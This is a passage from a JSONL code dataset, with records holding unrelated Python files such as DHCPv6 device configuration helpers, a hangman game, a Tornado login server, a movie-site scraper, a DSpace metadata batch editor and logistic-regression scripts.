were overwritten.\ncensus = census.drop(\"race\", axis=1)\n\n# Return the new dataframe as a csv in the current working directory\n# with the following filename.\nfilename = 'DustinBurnham-M02-Dataset.csv'\ncensus.to_csv(filename)","sub_path":"DustinBurnham-M02-Script.py","file_name":"DustinBurnham-M02-Script.py","file_ext":"py","file_size_in_byte":5472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"404551866","text":"\"\"\"Common configure functions for dhcpv6\"\"\"\r\n\r\n# Python\r\nimport logging\r\n\r\n# Unicon\r\nfrom unicon.core.errors import SubCommandFailure\r\n\r\nlog = logging.getLogger(__name__)\r\n\r\n\r\ndef create_dhcp_pool_ipv6(device, pool_name, ipv6_prefix, lifetime, pref_lifetime):\r\n \"\"\" Create DHCP IPv6 pool\r\n Args:\r\n device ('obj'): device to use\r\n pool_name ('str'): name of the pool to be created\r\n ipv6_prefix ('str'): IPv6 prefix\r\n lifetime ('int'): lifetime in seconds\r\n pref_lifetime ('int'): preferred lifetime in seconds\r\n Returns:\r\n None\r\n Raises:\r\n SubCommandFailure: Failed creating IPv6 DHCP pool\r\n \"\"\"\r\n log.info(\r\n \"Configuring IPv6 DHCP pool with name={pool_name}, ipv6_prefix={ipv6_prefix}, lifetime={lifetime}, and \"\r\n \"Preferred Lifetime {pref_lifetime} \".format(pool_name=pool_name, ipv6_prefix=ipv6_prefix, lifetime=lifetime, pref_lifetime=pref_lifetime)\r\n )\r\n\r\n try:\r\n device.configure(\r\n [\r\n \"ipv6 dhcp pool {pool_name}\".format(pool_name=pool_name),\r\n\t \"address prefix {ipv6_prefix} lifetime {lifetime} {pref_lifetime}\".format(ipv6_prefix=ipv6_prefix, lifetime=lifetime, pref_lifetime=pref_lifetime)\r\n ]\r\n )\r\n\r\n except SubCommandFailure:\r\n raise SubCommandFailure(\r\n \"Could not configure IPv6 DHCP pool {pool_name}\".format(\r\n pool_name=pool_name\r\n )\r\n )\r\n\r\ndef remove_dhcp_pool_ipv6(device, pool_name):\r\n \"\"\" Remove DHCP IPv6 pool\r\n Args:\r\n device ('obj'): device to use\r\n pool_name ('str'): name of the pool to be created\r\n Returns:\r\n None\r\n Raises:\r\n SubCommandFailure: Failed removing IPv6 DHCP pool\r\n \"\"\"\r\n log.info(\r\n \"Removing IPv6 DHCP pool with name={pool_name}\".format(pool_name=pool_name)\r\n )\r\n\r\n try:\r\n device.configure(\r\n [\r\n \"no ipv6 dhcp pool {pool_name}\".format(pool_name=pool_name),\r\n ]\r\n )\r\n\r\n except SubCommandFailure:\r\n raise SubCommandFailure(\r\n \"Could not remove IPv6 DHCP pool {pool_name}\".format(\r\n pool_name=pool_name\r\n )\r\n )\r\n\r\n\r\n","sub_path":"pkgs/sdk-pkg/src/genie/libs/sdk/apis/iosxe/dhcpv6/configure.py","file_name":"configure.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"313617666","text":"from .exceptions import *\nimport random\n\nclass GuessAttempt(object):\n def __init__(self, letter, hit=None, miss=None):\n self.letter = letter\n self.hit = hit\n self.miss = miss\n if self.hit and self.miss:\n raise InvalidGuessAttempt()\n \n def is_hit(self):\n if self.hit:\n return self.hit\n return False\n\n def is_miss(self):\n if self.miss:\n return self.miss\n return False\n \n \n \nclass GuessWord(object):\n def __init__(self, word):\n self.answer = word\n self.masked = '*' * len(word)\n\n if not word:\n raise InvalidWordException()\n \n def uncover_word(self, guess):\n \n masked_list = list(self.masked)\n index_to_switch = []\n masked_string = self.masked\n answer_lower = self.answer.lower()\n if guess in answer_lower:\n for ind, letter in enumerate(answer_lower):\n if guess == letter:\n index_to_switch.append(ind)\n for item in index_to_switch:\n masked_list[item] = guess\n masked_string = ''.join(masked_list)\n \n return masked_string\n \n def perform_attempt(self, guess):\n guess = guess.lower()\n if len(guess) > 1:\n raise InvalidGuessedLetterException()\n \n if guess in self.answer.lower():\n hit_or_miss = GuessAttempt(guess, hit = True)\n self.masked = self.uncover_word(guess)\n else:\n hit_or_miss = GuessAttempt(guess, miss = True)\n return hit_or_miss\n \n\n \n \n \nclass HangmanGame(object):\n WORD_LIST = ['rmotr', 'python', 'awesome']\n \n def __init__(self, words = None, number_of_guesses = 5):\n \n if words == None:\n words = self.WORD_LIST\n \n self.remaining_misses = number_of_guesses\n random_word = self.select_random_word(words)\n self.word = GuessWord(random_word)\n self.previous_guesses = []\n \n def is_won(self):\n return self.word.masked == self.word.answer\n\n def is_lost(self):\n return self.remaining_misses == 0\n\n def is_finished(self):\n return self.is_won() or self.is_lost()\n\n def guess(self, letter):\n letter = letter.lower()\n if letter in self.previous_guesses:\n raise InvalidGuessedLetterException()\n if self.is_finished():\n raise GameFinishedException()\n \n self.previous_guesses.append(letter.lower())\n guess_attempt = self.word.perform_attempt(letter)\n \n if guess_attempt.is_miss():\n self.remaining_misses -= 1\n \n if self.is_won():\n raise GameWonException()\n\n if self.is_lost():\n raise GameLostException()\n\n return guess_attempt\n \n\n \n\n @classmethod\n def select_random_word(cls, list):\n if not list:\n raise InvalidListOfWordsException()\n return random.choice(list)\n \n \n","sub_path":"hangman/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":3072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"334326042","text":"#!/bin/python\n\n# Services exposed by the VM Manager\n# The REST url :\n# http://host-name/api/1.0/disk-usage\n# http://host-name/api/1.0/running-time\n# http://host-name/api/1.0/mem-usage\n# http://host-name/api/1.0/running-processes\n# http://host-name/api/1.0/cpu-load\n# http://host-name/api/1.0/execute/\n\nimport urlparse\nimport os\nimport os.path\nimport json\nimport requests\n\n# tornado imports\nimport tornado.httpserver\nimport tornado.ioloop\nimport tornado.options\nimport tornado.web\nfrom tornado.options import define, options\n\n# ADS imports\nfrom __init__ import *\nfrom httplogging.http_logger import logger\nfrom utils.envsetup import EnvSetUp\nfrom controller import Controller\nfrom config import authorized_users\n\n\ndefine(\"port\", default=8000, help=\"run on the given port\", type=int)\n\n\nclass BaseHandler(tornado.web.RequestHandler):\n def get_current_user(self):\n return self.get_secure_cookie(\"user\")\n\n\nclass MainHandler(BaseHandler):\n \"\"\"\n Main Handler is to handle the index page for ControllerServer\n \"\"\"\n def get(self):\n if not self.current_user:\n self.redirect('/login')\n else:\n self.render('index.html')\n\n def post(self):\n if not self.current_user:\n self.redirect('/login')\n return\n\n post_data = dict(urlparse.parse_qsl(self.request.body))\n c = Controller()\n # log the user who is deploying the lab..\n logger.debug(\"Lab Deployment: deployed by: %s, lab id: %s, URL: %s\" %\n (self.current_user,\n post_data['lab_id'],\n post_data['lab_src_url']))\n\n self.write(c.test_lab(self.current_user, post_data['lab_id'],\n post_data['lab_src_url'],\n post_data.get('version', None)))\n\n\nclass LoginHandler(BaseHandler):\n \"\"\"\n LoginHandler will handle logins at /login\n \"\"\"\n\n def get(self):\n self.render('login.html')\n\n def post(self):\n msg = \"LoginHandler: Authenticating and authorizing using Persona..\"\n logger.debug(msg)\n assertion = self.get_argument(\"assertion\")\n\n if not assertion:\n logger.debug(\"Assertion not passed by the client. Aborting.\")\n self.write_error(400)\n return\n\n data = {'assertion': assertion,\n 'audience': config_spec[\"CONTROLLER_CONFIG\"][\"APP_URL\"]}\n\n # make the auth request to persona\n resp = requests.post(\n config_spec[\"CONTROLLER_CONFIG\"][\"PERSONA_VERIFIER\"],\n data=data, verify=True)\n\n if not resp.ok:\n logger.debug(\"Response from Persona is malformed. Aborting auth.\")\n self.write_error(500)\n return\n\n verified_data = json.loads(resp.content)\n logger.debug(\"Verified data from Persona: %s\" % verified_data)\n\n if verified_data['status'] != 'okay':\n logger.debug(\"Persona returned error. Aborting authentication.\")\n self.write_error(500)\n return\n\n user_email = verified_data['email']\n # user exists in our set of authorized users\n if user_email in authorized_users.users:\n logger.debug(\"Authentication and authorization successful!\")\n self.set_secure_cookie('user', user_email)\n self.write({'status': 'okay', 'msg': \"Successful login\"})\n # user does not exist. Send unauthorized error.\n else:\n logger.debug(\"User: %s is not authorized. Aborting.\" % user_email)\n msg = \"Oops! You are not authorized to deploy a lab.
    \"\n msg += \"Please contact admin for details.\"\n self.write({'status': 'error', 'msg': msg})\n\n\nclass LogoutHandler(BaseHandler):\n \"\"\"\n LogoutHandler will handle logouts at /logout\n \"\"\"\n\n def post(self):\n self.clear_cookie('user')\n self.write({'status': 'okay', 'msg': 'logged out'})\n\n\nif __name__ == \"__main__\":\n env = EnvSetUp.Instance()\n config_spec = env.get_config_spec()\n tornado.options.parse_command_line()\n app = tornado.web.Application(\n handlers=[\n (r\"/\", MainHandler),\n (r\"/login\", LoginHandler),\n (r\"/logout\", LogoutHandler)\n ],\n template_path=os.path.join(os.path.dirname(__file__), \"templates\"),\n static_path=os.path.join(os.path.dirname(__file__), \"static\"),\n cookie_secret=config_spec[\"CONTROLLER_CONFIG\"][\"COOKIE_SECRET\"],\n debug=True)\n\n http_server = tornado.httpserver.HTTPServer(app)\n options.port = config_spec[\"CONTROLLER_CONFIG\"][\"SERVER_PORT\"]\n logger.debug(\"ControllerServer: It will run on port : \" + str(options.port))\n http_server.listen(options.port)\n tornado.ioloop.IOLoop.instance().start()\n","sub_path":"src/controller_server.py","file_name":"controller_server.py","file_ext":"py","file_size_in_byte":4813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"230137235","text":"import itertools\nfrom random import randint, choice\n\nfrom sqlalchemy.orm import sessionmaker\n\nfrom mapper.mapper import User, Event, RawData, Processing, engine\n\nSession = sessionmaker(bind=engine)\nsession = Session()\n\nif session.query(RawData).first():\n print('Test data already generated')\n quit()\n\n\nprint('Creating Users & Events')\nfor n in range(1000):\n session.add(User())\n session.add(Event())\nsession.commit()\nprint('1000 User & Event created')\n\n\nlines_count = randint(90000, 100000)\nprint('Start creating {} RawData'.format(lines_count))\n\n\nsequence = [x for x in itertools.combinations([i for i in range(1, 1000)], 2)]\nfor n in range(lines_count):\n pair = choice(sequence)\n session.add(RawData(amount=randint(-100000, 100000), event_id=pair[0], user_id=pair[1]))\n sequence.remove(pair)\n\nsession.commit()\n\nprint('Finish creating test data')\n","sub_path":"generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"258915713","text":"# 导入相关库\r\nimport requests\r\nfrom lxml import etree\r\n#from openpyxl import workbook # 写入Excel表所用\r\n#from openpyxl import load_workbook # 读取Excel表所用\r\nfrom bs4 import BeautifulSoup as bs\r\nimport xlwt\r\nimport os\r\nprint(os.getcwd())\r\n#os.chdir('C:\\Users\\19652\\Desktop') # 更改工作目录为桌面\r\nfb=open('豆瓣电影.txt','w',encoding='utf-8')\r\n# 1.将目标网页的内容请求下来\r\nheaders = {\r\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36\",\r\n \"Referer\": \"https://www.douban.com/\"\r\n}\r\ndouban_url = \"https://movie.douban.com/cinema/nowplaying/xian/\"\r\nresponse = requests.get(douban_url, headers=headers)\r\ndouban_text = response.text\r\n\r\n# 2.将抓取的数据进行处理\r\nhtml_element = etree.HTML(douban_text)\r\nul = html_element.xpath('//ul[@class=\"lists\"]')[0]\r\nlis = ul.xpath('./li')\r\nmovies = []\r\ntitles=[]\r\nscores=[]\r\nstars=[]\r\ndurations=[]\r\nregions=[]\r\ndirectors=[]\r\nactorss=[]\r\nposts=[]\r\nfor li in lis:\r\n title = li.xpath('./@data-title')[0]\r\n score = li.xpath('./@data-score')[0]\r\n star = li.xpath('./@data-star')[0]\r\n duration = li.xpath('./@data-duration')[0]\r\n region = li.xpath('./@data-region')[0]\r\n director = li.xpath('./@data-director')[0]\r\n actors = li.xpath('./@data-actors')[0]\r\n post = li.xpath('.//img/@src')[0]\r\n movie = {\r\n \"title\": title,\r\n \"score\": score,\r\n \"star\": star,\r\n \"duration\": duration,\r\n \"region\": region,\r\n \"director\": director,\r\n \"actors\": actors,\r\n \"post\": post\r\n }\r\n titles.append(title)\r\n scores.append(score)\r\n stars.append(star)\r\n durations.append(duration)\r\n regions.append(region )\r\n directors.append(director)\r\n actorss.append(actors)\r\n posts.append(post)\r\n movies.append(movie)\r\n rows = ''\r\nfor movie in movies:\r\n #print(movie['title'])\r\n row = '{}{}{}{}{}{}{}'.format(\r\n movie['title'],\r\n movie['score'],\r\n movie['star'],\r\n movie['duration'],\r\n movie['region'],\r\n movie['director'],\r\n movie['actors']\r\n )\r\n # 利用字符串拼接循环存储每个格式化的电影票房信息\r\n rows = rows + '\\n' + row # 利用字符串拼接处格式化的HTML页面\r\n piaofang_html = ''' \r\n \r\n 豆瓣电影 \r\n 豆瓣电影\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n ''' \\\r\n + rows + '''
    电影名评分星级时长地区导演演员
    '''\r\n # 存储已经格式化的html页面\r\nwith open('douban.html', 'w', encoding='utf-8') as f :\r\n f.write(piaofang_html)\r\n#fb=open('豆瓣电影.xlsx','w',encoding='utf-8')\r\n#ws.append(['电影名', '评分', '五角星', '时长','国家/地区','导演', '主演', '海报'])\r\n\r\n # 读取存在的Excel表测试\r\n # wb = load_workbook('test.xlsx') #加载存在的Exce\r\nimport xlwt\r\nbook = xlwt.Workbook(encoding='utf-8',style_compression=0)\r\nsheet = book.add_sheet('mysheet',cell_overwrite_ok=True)\r\nmovies_info=[\"电影名\", \"评分\", \"五角星\",\"时长\",\"国家/地区\",\"导演\", \"主演\", \"海报\"]\r\nfor j in range(8):\r\n sheet.write(0,j,movies_info[j])\r\n\r\nfor i in range(len(titles)):\r\n sheet.write(i+1,0,titles[i])\r\n sheet.write(i+1,1,scores[i])\r\n sheet.write(i+1,2,stars[i])\r\n sheet.write(i+1,3,durations[i])\r\n sheet.write(i + 1, 4, regions[i])\r\n sheet.write(i + 1, 5, directors[i])\r\n sheet.write(i + 1, 6, actorss[i])\r\n sheet.write(i + 1, 7, posts[i])\r\nprint(\"结束\")\r\nbook.save('douban.xls')","sub_path":"猫眼爬虫/douban.py","file_name":"douban.py","file_ext":"py","file_size_in_byte":5865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"31082608","text":"import json\nimport requests\nimport secrets\nimport time\nimport csv\nfrom datetime import datetime\nimport urllib3\nimport argparse\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nsecretsVersion = input('To edit production server, enter the name of the secrets file: ')\nif secretsVersion != '':\n try:\n secrets = __import__(secretsVersion)\n print('Editing Production')\n except ImportError:\n print('Editing Stage')\nelse:\n print('Editing Stage')\n\nbaseURL = secrets.baseURL\nemail = secrets.email\npassword = secrets.password\nfilePath = secrets.filePath\nverify = secrets.verify\nskippedCollections = secrets.skippedCollections\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-f', '--fileName', help='the CSV file of changes. optional - if not provided, the script will ask for input')\nargs = parser.parse_args()\n\nif args.fileName:\n fileName = args.fileName\nelse:\n fileName = input('Enter the file name of the CSV of changes (including \\'.csv\\'): ')\n\nstartTime = time.time()\ndata = {'email': email, 'password': password}\nheader = {'content-type': 'application/json', 'accept': 'application/json'}\nsession = requests.post(baseURL+'/rest/login', headers=header, verify=verify, params=data).cookies['JSESSIONID']\ncookies = {'JSESSIONID': session}\nheaderFileUpload = {'accept': 'application/json'}\ncookiesFileUpload = cookies\nstatus = requests.get(baseURL+'/rest/status', headers=header, cookies=cookies, verify=verify).json()\nprint('authenticated')\n\n\ndt_stamp = datetime.now().strftime('%Y-%m-%d %H.%M.%S')\n\nf = csv.writer(open('replacedKeyValuePair'+dt_stamp+'.csv', 'w'))\nf.writerow(['handle']+['itemID']+['oldKey']+['newKey']+['oldValue']+['newValue']+['delete']+['post'])\n\nf2 = csv.writer(open('notReplacedKeyValuePair'+dt_stamp+'.csv', 'w'))\nf2.writerow(['uri']+['oldKey']+['newKey']+['oldValue']+['newValue'])\n\nvalues_changed = 0\nvalues_unchanged = 0\nrow_count = 0\n\nwith open(fileName) as csvfile:\n reader = csv.DictReader(csvfile)\n for row in reader:\n row_count = row_count + 1\n uri = row['uri']\n uri = uri[28:]\n print(uri)\n oldKey = row['oldKey']\n newKey = row['newKey']\n oldValue = row['oldSubject']\n newValue = row['newSubject']\n if (oldValue != newValue) or (oldKey != newKey):\n uri_request = requests.get(baseURL+'/rest/'+uri, headers=header, cookies=cookies, verify=verify).json()\n itemLink = uri_request['link']\n metadata = requests.get(baseURL+itemLink+'/metadata', headers=header, cookies=cookies, verify=verify).json()\n itemMetadataProcessed = []\n for l in range(0, len(metadata)):\n metadata[l].pop('schema', None)\n metadata[l].pop('element', None)\n metadata[l].pop('qualifier', None)\n languageValue = metadata[l]['language']\n if metadata[l]['key'] == oldKey and metadata[l]['value'] == oldValue:\n updatedMetadataElement = {}\n updatedMetadataElement['key'] = newKey\n updatedMetadataElement['value'] = newValue\n updatedMetadataElement['language'] = languageValue\n itemMetadataProcessed.append(updatedMetadataElement)\n\n provNote = '\\''+oldKey+': '+oldValue+'\\' was replaced by \\''+newKey+': '+newValue+'\\' through a batch process on '+dt_stamp+'.'\n provNoteElement = {}\n provNoteElement['key'] = 'dc.description.provenance'\n provNoteElement['value'] = provNote\n provNoteElement['language'] = 'en_US'\n itemMetadataProcessed.append(provNoteElement)\n else:\n if metadata[l] not in itemMetadataProcessed:\n itemMetadataProcessed.append(metadata[l])\n itemMetadataProcessed = json.dumps(itemMetadataProcessed)\n delete = requests.delete(baseURL+itemLink+'/metadata', headers=header, cookies=cookies, verify=verify)\n print(delete)\n post = requests.put(baseURL+itemLink+'/metadata', headers=header, cookies=cookies, verify=verify, data=itemMetadataProcessed)\n print(post)\n f.writerow([uri]+[itemLink]+[oldKey]+[newKey]+[oldValue]+[newValue]+[delete]+[post])\n if post.status_code == 200:\n values_changed = values_changed + 1\n else:\n values_unchanged = values_unchanged + 1\n else:\n f2.writerow([uri]+[oldKey]+[newKey]+[oldValue]+[newValue])\n\nlogout = requests.post(baseURL+'/rest/logout', headers=header, cookies=cookies, verify=verify)\n\n\nprint('Original row count: {}'.format(row_count))\nprint('Total values or keys changed: {}'.format(values_changed))\nprint('Total values unchanged: {}'.format(values_unchanged))\nprint('total: '+(str(values_changed+values_unchanged)))\nelapsedTime = time.time() - startTime\nm, s = divmod(elapsedTime, 60)\nh, m = divmod(m, 60)\nprint('Total script run time: ', '%d:%02d:%02d' % (h, m, s))\n","sub_path":"replaceKeyValuePairsWithHandlesFromCSV.py","file_name":"replaceKeyValuePairsWithHandlesFromCSV.py","file_ext":"py","file_size_in_byte":5076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"534867683","text":"import sys\n\nsys.stdin = open('input_1289.txt', 'r')\n# sys.stdout = open('output_1239.txt', 'w')\n\nT = int(input())\n\nfor t in range(1, T+1):\n m = list(map(int, input()))\n\n r = [0 for _ in range(len(m))]\n\n cnt = 0\n for i in range(len(m)):\n if m[i] != r[i]:\n cnt += 1\n if m[i] == 1:\n for j in range(i, len(m)):\n r[j] = 1\n if m == r:\n break\n elif m[i] == 0:\n for j in range(i, len(m)):\n r[j] = 0\n if m == r:\n break\n print('#{} {}'.format(t, cnt))\n\n","sub_path":"SWEA/1289_원재의메모리복구하기.py","file_name":"1289_원재의메모리복구하기.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"32570991","text":"\n\n#calss header\nclass _RIDDANCE():\n\tdef __init__(self,): \n\t\tself.name = \"RIDDANCE\"\n\t\tself.definitions = [u'said when you are pleased that a bad or unwanted thing or person, or something of poor quality, has gone: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_riddance.py","file_name":"_riddance.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"482316915","text":"\nfrom PyQt5.QtWidgets import QMainWindow, QApplication, QPushButton, QTextEdit ,QListWidget ,QTableView ,QComboBox,QLabel,QLineEdit,QTextBrowser\nimport sys ,pickle\nimport data_visualise\nimport table_display\nfrom PyQt5 import uic, QtWidgets ,QtCore, QtGui\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.svm import SVR\nfrom sklearn import metrics\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport seaborn as sns\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score\nimport common\n\n\n\nclass UI(QMainWindow):\n def __init__(self,df,target,user_actions):\n super(UI, self).__init__()\n uic.loadUi(\"../ui_files/LogisticRegression.ui\", self)\n self.user_act=user_actions\n global data ,steps\n data=data_visualise.data_()\n steps=common.common_steps(df,target)\n self.X,self.n_classes,self.target_value,self.df,self.column_list=steps.return_data()\n self.target = self.findChild(QLabel,\"target\")\n self.columns= self.findChild(QListWidget,\"columns\")\n self.test_size= self.findChild(QLabel,\"test_size\") \n self.target = self.findChild(QLabel,\"target\")\n self.columns= self.findChild(QListWidget,\"columns\")\n self.test_size= self.findChild(QLabel,\"test_size\") \n \n self.c_=self.findChild(QLineEdit,\"c_\")\n self.penalty=self.findChild(QComboBox,\"penalty\")\n self.solver=self.findChild(QComboBox,\"solver\") \n self.dual=self.findChild(QComboBox,\"dual\") \n self.max_iter=self.findChild(QLineEdit,\"max_iter\")\n self.fit_inter=self.findChild(QComboBox,\"fit_inter\") \n self.multi_class=self.findChild(QComboBox,\"multi_class\")\n self.tol=self.findChild(QLineEdit,\"tol\")\n self.train_btn=self.findChild(QPushButton,\"train\")\n \n self.mae=self.findChild(QLabel,\"mae\")\n self.mse=self.findChild(QLabel,\"mse\")\n self.rmse=self.findChild(QLabel,\"rmse\")\n self.accuracy=self.findChild(QLabel,\"accuracy\")\n self.roc_btn=self.findChild(QPushButton,\"roc\")\n self.X_combo=self.findChild(QComboBox,\"X_combo\")\n self.Y_combo=self.findChild(QComboBox,\"Y_combo\")\n\n self.test_data=self.findChild(QLineEdit,\"test_data\")\n self.test_size_btn=self.findChild(QPushButton,\"test_size_btn\")\n self.train_btn.clicked.connect(self.training)\n self.conf_mat_btn=self.findChild(QPushButton,\"conf_mat\")\n #self.roc_btn.clicked.connect(self.roc_plot)\n self.conf_mat_btn.clicked.connect(self.conf_matrix)\n self.test_size_btn.clicked.connect(self.test_split)\n self.dwnld.clicked.connect(self.download_model)\n self.setvalue()\n self.show()\n\n def setvalue(self):\n self.target.setText(self.target_value)\n self.columns.clear()\n self.columns.addItems(self.column_list)\n self.X_combo.addItems(self.column_list)\n self.Y_combo.addItems(self.column_list)\n\n \n def test_split(self):\n\n self.x_train,self.x_test,self.y_train,self.y_test = train_test_split(self.df,self.X[self.target_value],test_size=float(self.test_data.text()),random_state=0)\n print(self.y_train.shape)\n print(self.y_test.shape)\n self.train_size.setText(str(self.x_train.shape))\n self.test_size.setText(str(self.x_test.shape))\n\n def download_model(self):\n\n name = QtWidgets.QFileDialog.getSaveFileName(self, 'Save File','/home/akshay/Desktop',\"pickle(*.pkl)\")\n #file = open(name[0],'w')\n \n pkl_filename = name[0]\n with open(pkl_filename, 'wb') as file:\n pickle.dump(self.lr, file) \n \n self.user_act.save_file(pkl_filename) \n\n def training(self):\n\n self.lr = LogisticRegression(C=float(self.c_.text()),penalty=self.penalty.currentText(),dual=self.dual.currentText()=='True',tol=float(self.tol.text()),max_iter=float(self.max_iter.text()),fit_intercept=self.fit_inter.currentText()=='True',random_state=1,solver=self.solver.currentText(),multi_class=self.multi_class.currentText())\n self.lr.fit(self.x_train,self.y_train)\n \n self.pre=self.lr.predict(self.x_test)\n self.mae.setText(str(metrics.mean_absolute_error(self.y_test,self.pre)))\n self.mse.setText(str(metrics.mean_squared_error(self.y_test,self.pre)))\n self.rmse.setText(str(np.sqrt(metrics.mean_squared_error(self.y_test,self.pre))))\n self.accuracy.setText(str(accuracy_score(self.pre,self.y_test)))\n text=steps.classification_(self.y_test,self.pre)\n self.report.setPlainText(text)\n\n def conf_matrix(self):\n\n data = {'y_Actual':self.y_test.values,'y_Predicted':self.pre }\n df = pd.DataFrame(data, columns=['y_Actual','y_Predicted'])\n confusion_matrix = pd.crosstab(df['y_Actual'], df['y_Predicted'], rownames=['Actual'], colnames=['Predicted'])\n plt.figure()\n sns.heatmap(confusion_matrix, annot=True)\n plt.show()\n\n ","sub_path":"codes/logistic_reg.py","file_name":"logistic_reg.py","file_ext":"py","file_size_in_byte":5004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"33787759","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\n#import random\n#import matplotlib.pyplot as plt\n#import math\n#from sklearn.datasets import load_iris\n\n\n# In[2]:\n\n\ndef sigmoid(z):\n return 1 / (1 + np.exp(-z))\n\n\n# In[3]:\n\n\ndef inference(w, b, X): \n return sigmoid(np.dot(X,w) + b)\n\n\n# In[4]:\n\n\ndef eval_loss(w, b, X, y): \n h = inference(w, b, X)\n loss = -1 * np.sum(y*np.log(h)+(1-y)*np.log(1 - h))/ X.shape[1]\n return loss\n\n\n# In[5]:\n\n\ndef gradient(w, b, X, y):\n num_samples, nums_x = X.shape\n h = inference(w, b, X)\n\n dw = np.sum(X * (np.repeat((h-y),nums_x).reshape(num_samples,-1)), 0)/ num_samples\n #np.repeat(np.expand_dims((h-y),1),nums_x,1)\n db = np.sum(h-y) / num_samples\n\n return dw, db\n\n\n# In[6]:\n\n\ndef cal_step_gradient(w, b, batch_x, batch_y,lr):\n dw, db = gradient(w, b, batch_x, batch_y)\n return w-dw*lr, b-db*lr\n\n\n# In[7]:\n\n\ndef train(X, y, batch_size, lr, max_iter):\n num_samples, nums_x = X.shape\n w = np.zeros(nums_x)\n b = 0\n \n while max_iter:\n batch_idxs = np.random.choice(num_samples, batch_size)\n w, b = cal_step_gradient(w, b, X[batch_idxs], y[batch_idxs], lr)\n loss = eval_loss(w, b, X, y)\n if max_iter%1000==0:\n print('w:{0}, b:{1}'.format(w, b))\n print('loss is {0}'.format(loss))\n max_iter -= 1\n\n\n# In[8]:\n\n\ndef gen_sample_data():\n num_samples = 400\n w = np.random.randint(0, 10, size=4) + random.random()\t\t# for noise random.random[0, 1)\n b = np.random.randint(0, 5) + random.random()\n X = np.random.randint(0, 200, size=(400,4)) * np.random.random()\n y = np.dot(X,w) + b\n y_ = np.array([1 if i >np.median(y) else 0 for i in y ])\n return X, y_, w, b\n\n\n# In[9]:\n\n\ndef run():\n X, y, w, b = gen_sample_data()\n print(w,b,np.sum(y),X.shape)\n lr = 0.001\n batch_size = 50\n max_iter = 10000\n train(X, y, batch_size, lr, max_iter)\n\nif __name__ == '__main__':\t\n run()\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"week3/logisticRegression.py","file_name":"logisticRegression.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"144044651","text":"INPUT_PATH = 'small.in'\n\ndef main():\n test_cases = parse_input(INPUT_PATH)\n solutions = []\n for i, test_case in enumerate(test_cases):\n print('-' * 10)\n print('Test case', i)\n solution = solve(*test_case)\n print(test_case, '->', solution)\n solutions.append(solution)\n output_solutions(solutions)\n\n\ndef parse_input(path):\n with open(path) as f:\n n = int(f.readline())\n lines = f.read().split('\\n')\n test_cases = [tuple(map(int, line.split())) for line in lines][:n]\n return test_cases\n\n\ndef output_solutions(solutions):\n with open('output', 'w') as f:\n for i, solution in enumerate(solutions, 1):\n possible, matrix = solution\n f.write('Case #{i}: {result}\\n'.format(i=i, result='POSSIBLE' if possible else 'IMPOSSIBLE'))\n if possible:\n for row in matrix:\n f.write(''.join(map(str, row)) + '\\n')\n\n\ndef solve(b, m):\n # NOTE: b > 1\n #print('solving for:', b, m)\n max_paths = 2 ** (b - 2)\n if m > max_paths:\n return False, None\n matrix = [[(1 if j > i else 0) for j in range(b)] for i in range(b)]\n if m == max_paths:\n return True, matrix\n binary = bin(m)[2:][::-1]\n for row in range(b-1):\n if 1 <= row <= len(binary):\n matrix[row][b-1] = int(binary[row-1])\n else:\n matrix[row][b-1] = 0\n return True, matrix\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"solutions_5744014401732608_0/Python/arteffi/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"513462267","text":"from django import forms\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.core.paginator import Paginator\nfrom django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import render, redirect, get_object_or_404\nimport json\nfrom .models import (Account, Funds, FundsManager, Beneficiary, Due, Notification) \nfrom .forms import (BeneficiaryForm, FundsForm)\nimport pdb\n\n\ndef info_view(information):\n return render('account/information.html', {\"information\": information})\n\n@login_required(login_url='login')\ndef account(request):\n acc = Account.objects.get(user=request.user.id)\n dues = acc.get_due_list()\n\n dues_page = []\n for username, due_list in dues.items():\n for funds_id, amount in due_list.items():\n dues_page.append((username, funds_id, amount))\n\n paginator = Paginator(dues_page, 6)\n page = 